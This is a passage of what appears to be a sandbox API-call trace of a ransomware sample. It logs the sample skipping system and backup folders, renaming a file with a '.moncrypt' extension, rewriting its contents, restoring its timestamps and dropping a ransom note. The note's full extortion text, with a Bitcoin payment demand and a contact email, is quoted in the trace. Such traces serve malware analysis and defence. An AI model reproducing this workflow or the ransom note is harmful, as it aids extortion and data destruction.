cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a378, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x88")) returned 0xffffffff [0052.529] GetLastError () returned 0x2 [0052.529] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.529] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a320, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0052.530] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a378, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18\x8f")) returned 0xffffffff [0052.530] GetLastError () returned 0x2 [0052.530] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.530] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a320, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0052.530] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a378, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18\x97")) returned 0xffffffff [0052.530] GetLastError () returned 0x2 [0052.530] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.530] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a320, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0052.530] GlobalLock (hMem=0x440004) returned 0x550170 [0052.530] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.530] GlobalUnlock (hMem=0x440004) returned 0 [0052.531] GlobalLock (hMem=0x440004) returned 0x550170 [0052.531] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.531] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.531] GlobalUnlock (hMem=0x440004) returned 0 [0052.531] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.531] GlobalUnlock (hMem=0x44000c) returned 0 [0052.531] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.531] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.531] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0052.531] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.531] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0052.531] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0052.531] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.531] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.531] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.531] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.531] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0052.531] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a398, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.532] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.532] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.532] GlobalUnlock (hMem=0x44000c) returned 0 [0052.532] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.532] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.532] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.532] GlobalUnlock (hMem=0x44000c) returned 0 [0052.532] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.532] GlobalUnlock (hMem=0x440004) returned 0 [0052.532] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.532] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.532] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.532] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a320, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.532] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.532] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a320, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.532] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.532] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0052.533] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.533] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0052.533] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.533] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a320, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0052.533] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.533] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a320, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.533] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\") returned 0x3e [0052.533] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a320, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.533] GlobalLock (hMem=0x440004) returned 0x550170 [0052.533] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.533] GlobalUnlock (hMem=0x440004) returned 0 [0052.533] GlobalLock (hMem=0x440004) returned 0x550170 [0052.533] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.533] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.533] GlobalUnlock (hMem=0x440004) returned 0 [0052.533] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.533] GlobalUnlock (hMem=0x44000c) returned 0 [0052.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.534] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.534] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0052.534] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.534] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.534] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.534] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.534] GlobalUnlock (hMem=0x44000c) returned 0 [0052.534] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.534] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.534] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.534] GlobalUnlock (hMem=0x44000c) returned 0 [0052.534] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.534] GlobalUnlock (hMem=0x440004) returned 0 [0052.534] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.534] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0052.535] CloseHandle (hObject=0x18c) returned 1 [0052.535] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\я")) returned 1 [0052.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 0x54e240 [0052.536] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.536] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.536] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", dwFileAttributes=0x20) returned 1 [0052.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.538] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.moncrypt")) returned 1 [0052.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.539] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.539] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xd0e5 [0052.539] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.539] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.541] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.541] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.541] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.541] GlobalUnlock (hMem=0x44000c) returned 0 [0052.541] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0052.541] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.541] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.541] GlobalUnlock (hMem=0x44000c) returned 0 [0052.541] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0052.542] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.542] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.542] GlobalUnlock (hMem=0x440004) returned 0 [0052.542] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.542] GlobalUnlock (hMem=0x44000c) returned 0 [0052.542] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.542] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.542] GlobalUnlock (hMem=0x44000c) returned 0 [0052.542] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0052.542] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.542] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.542] GlobalUnlock (hMem=0x44000c) returned 0 [0052.542] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.542] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.542] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.542] SetFilePointer (in: hFile=0x18c, lDistanceToMove=53477, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xd0e5 [0052.542] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.542] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.543] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.553] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.553] CloseHandle (hObject=0x18c) returned 1 [0052.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.554] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.554] CloseHandle (hObject=0x18c) returned 1 [0052.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0052.555] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.555] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.555] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.555] GlobalUnlock (hMem=0x44000c) returned 0 [0052.555] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.555] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.555] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.555] GlobalUnlock (hMem=0x44000c) returned 0 [0052.555] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.555] GlobalUnlock (hMem=0x440004) returned 0 [0052.555] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a330, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0052.555] GetLastError () returned 0x2 [0052.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.557] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0052.558] CloseHandle (hObject=0x18c) returned 1 [0052.559] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, 